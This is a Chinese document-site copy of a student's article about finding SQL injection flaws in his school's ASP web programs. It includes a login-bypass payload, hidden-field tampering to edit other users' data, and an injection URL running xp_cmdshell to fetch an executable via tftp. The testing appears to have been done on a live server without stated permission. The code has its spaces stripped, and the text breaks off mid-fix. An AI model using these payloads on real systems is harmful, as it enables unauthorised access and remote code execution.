测试我们学校服务器的安全性_第1页
测试我们学校服务器的安全性_第2页
测试我们学校服务器的安全性_第3页
测试我们学校服务器的安全性_第4页
测试我们学校服务器的安全性_第5页
已阅读5页,还剩5页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第第页测试我们学校服务器的安全性测试我们学校服务器的安全性

发表于:2023-05-25来源::点击数:标签:服务器测试我们学校安全性

我自从在学校维护学生会网站以后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以任意修改任何web页面了,因为学校里所有的站点都放在/里面,不过我可不敢这样做,也不会这样做。最近学习ASP挺上瘾,就看看学校自己写

我自从在学校维护学生会网站以后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以任意修改任何(web)页面了,因为学校里所有的站点都放在/里面,不过我可不敢这样做,也不会这样做。最近学习ASP挺上瘾,就看看学校自己写的ASP程序有什么隐患吧。、

问题一

除了前台只有少量的ASP文件,就是用户注册(是学校的人才能注册)、登陆、忘记密码、个人信息修改这几个ASP文件,先看看忘记密码,lostpass.asp是一个提交页面,没有任何ASP语句,看看form里目标文件是lostpass1.asp,再查看原代码,没有发现问题(是我的水平有限),再看下一个lostpass2.asp,呵呵,发现了一句有毛病的语句:

sql="selectpwd,answerfrom[member]whereuserID='"userID"'andanswer='"answer"'"

这么低级的错误也会犯,此时,您只要根据sql构造一个特殊的用户名和密码,如:'or'1'='1

这样,程序将会变成这样:

sql="selectpwd,answerfrom[member]whereuserID="'or'1'=1"andpass="answer"

or是一个逻辑运算符,判断两个条件的时候,只要其中一个条件成立,那么等式将会成立,而在语言中,是以1来代表真的(成立),那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值。这样的话我们从一开始就可以提交'or'1'='1这个来饶过验证了,不管我们在什么文本框我们都提交'or'1'='1这个都能顺利到达下一个页面,既然这样,我们用'or'1'='1来作为用户名和密码登陆,会怎么样呢?实验证明登陆成功,因为显示个人(资料)修改的链接了,果然正常显示了个人(资料),我发现真实姓名不可改,说明一定有什么ID之类的来识别用户,于是直接查看网页源代码发现这么一行重要的东西:

inputtype="hidden"name="hiddenField"value="2023010001"原来是靠这个hiddenField来辨别用户,那么如果我修改了value的值,那不是可以修改其他用户了吗?马上拿我以前注册的来试,把我的号码2023010XXX替换上去,然后修改form里的相对连接,另存为htm文件,然后提交我需要修改的资料。再看看我的资料,果然被修改了,这么说如果我我知道任何一个用户的hiddenField的值,就可以修改其资料,还不乱套?这个就搁在一边……这个问题可以写个函数禁止从外部提交数据得以解决。

不过这个漏洞有点局限性,如果想改某个用户的资料一定要知道hiddenField的值,否则只能乱改。不过既然这个文件这样了,我想后台入口验证程序应该也是这样,我试着登陆,成功了,所有会员的资料尽收眼底,而且任意添加和修改管理员,做什么都可以啊。

这个问题的防范方法其实很简单,处理输入字符就可以了,原来我还以为用replace()函数呢,请教了一下劲风,得知用mid()函数可以很好的解决,加一个判断就可以了:

us=mid(input,i,1)

ifus=""orus="'"orus="%"orus=""orus=""orus=""then

response.redirect"error_page.asp"

response.end

几行代码就可以检查用户所输入的字符了,当然,应该尽量多检查一些特殊字符。这行代码意思是检查输入的字符中,如果有空格、单引号、百分号和“”、“”就重定向到error_page.asp这个页面。

虽然“海阳顶端网ASP木马”具有黑掉学校服务器的能力,但我们还是要从学校的程序入手,否则就没有意义了,“海阳顶端网ASP木马”在这里只充当一个查看原代码的角色。

问题二

通常一些资料调用文件都会存在一些SQLinjection漏洞,比如show.asp、showarticle.asp、shownews.asp、showuser.asp等等,因为这些文件很容易忽略检查变量,我看到一个shownews.asp文件。马上打开,其原代码如下(由于此文件太大,限于篇幅,我去掉了很多无关的HTML代码):

%optionexplicit%

!--#includefile="conn.asp"--

%

dimsql,rs,rsc,thedate

dimreviewable,aboutnews

setrs=server.createobject("adodb.recordset")'查找显示相关新闻数目及是否开放评论权限

rs.open"select*fromnews_parameterwhereparameterid=1",conn,1,1

ifnotrs.bofandnotrs.eofthen

aboutnews=rs("aboutnews")

ifrs("reviewable")=1then

reviewable=1

else

reviewable=0

endif

else

aboutnews=5

reviewable=1

endif

rs.close

setrs=nothing

setrs=server.createobject("adodb.recordset")

sql="updatenewssethits=hitswherenewsid="cstr(request("newsid"))

conn.executesql

ifsession("purview")=""then

rs.open"select*fromnewswherenewsid="cstr(request("newsid"))"andaudit=1",conn,1,1

else

rs.open"select*fromnewswherenewsid="cstr(request("newsid")),conn,1,1

endif

iferr.number0then

response.write"数据库出错"

else

ifrs.bofandrs.eofthen

rs.close

response.write"该新闻不存在或未经过审核"

else

%

html

head

LINKhref="function/css.css"rel=stylesheettype=text/css

title%=rs("topic")%/title

metahttp-equiv="Content-Type"content="text/html;charset=gb2312"

/head

bodybgcolor="#FFFFFF"text="#000000"topmargin=0leftmargin=0rightmargin=0

tablewidth="92%"border="0"cellspacing="0"cellpadding="0"align="center"

tr

tdheight="36"valign="middle"

divalign="center"brfontsize=3b%=rs("topic")%/b/fonthrsize=0width=100%/div

/td

/tr

tr

td

divalign="center"%=rs("ntime")%%iftrim(rs("nfrom"))""then

response.write"文章来源:"trim(rs("nfrom"))

endif%

%iftrim(rs("writer"))""then

response.write":"trim(rs("writer"))

endif%浏览次数:%=rs("hits")%hrsize=0width=100%/div

/td

/tr

tr

tdvalign="top"

%dimcontent

content=rs("content")

content=replace(content,"../../../","../news/")

response.writecontent%

/td

/tr

tr

tdvalign="top"brbrbrb相关新闻/bbr

%setrsc=server.createobject("adodb.recordset")

ifsession("purview")=""then

rsc.open"selecttop"aboutnews"*fromnewswherekeyslike'%"trim(rs("keys"))"%'andnewsid"cstr(rs("newsid"))"andaudit=1orderbyntimeDESC",conn,1,1

else

rsc.open"selecttop"aboutnews"*fromnewswherekeyslike'%"trim(rs("keys"))"%'andnewsid"cstr(rs("newsid"))"orderbyntimeDESC",conn,1,1

endif

ifrsc.bofandrsc.eofthen

response.write"暂时没有相关新闻"

else

response.write"ultype=circle"

dowhilenotrsc.eof

response.write"li"

thedate="("cstr(year(rsc("ntime")))"-"cstr(month(rsc("ntime")))"-"cstr(day(rsc("ntime")))")"

response.write"ahref='shownews.asp?newsid="cstr(rsc("newsid"))"'target=_blank"trim(rsc("topic"))"/afontcolor='#6365CE'size='1'"thedate"/font"

ifmonth(cdate(trim(rs("ntime"))))=month(now())andclng(day(cdate(trim(rs("ntime"))))+1)=clng(day(now()))then

response.write"imgsrc=image/news.gifbr"

endif

rsc.movenext

loop

endif

rsc.close

setrsc=nothing%

/ul/td

/tr

/table

!--#includefile="function/copyright.inc"--

/body

/html

%endif

endif%

!--#includefile="function/DBclose.asp"--

大家看到了吗?文件根本没有对任何变量做任何检查,所以这个文件怎么利用都不过份,呵呵,看到这一句,

rs.open"select*fromnewswherenewsid="cstr(request("newsid")),conn,1,1

由于程序根本没有对任何变量做任何检查。我们就可以可以直接构造newsid发动sqlinjection攻击,我们提交这样的代码就可以以连接这个(SQL)(数据库)的用户所拥有的权限执行系统命令。

http://ourschool/shownews.asp?newsid=1;execmaster.dbo.xp_cmdshell'tftp-imyipgetflash.exe';--

针对这个文件的解决办法就是用replace函数过滤,看看下面的代码:

re

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论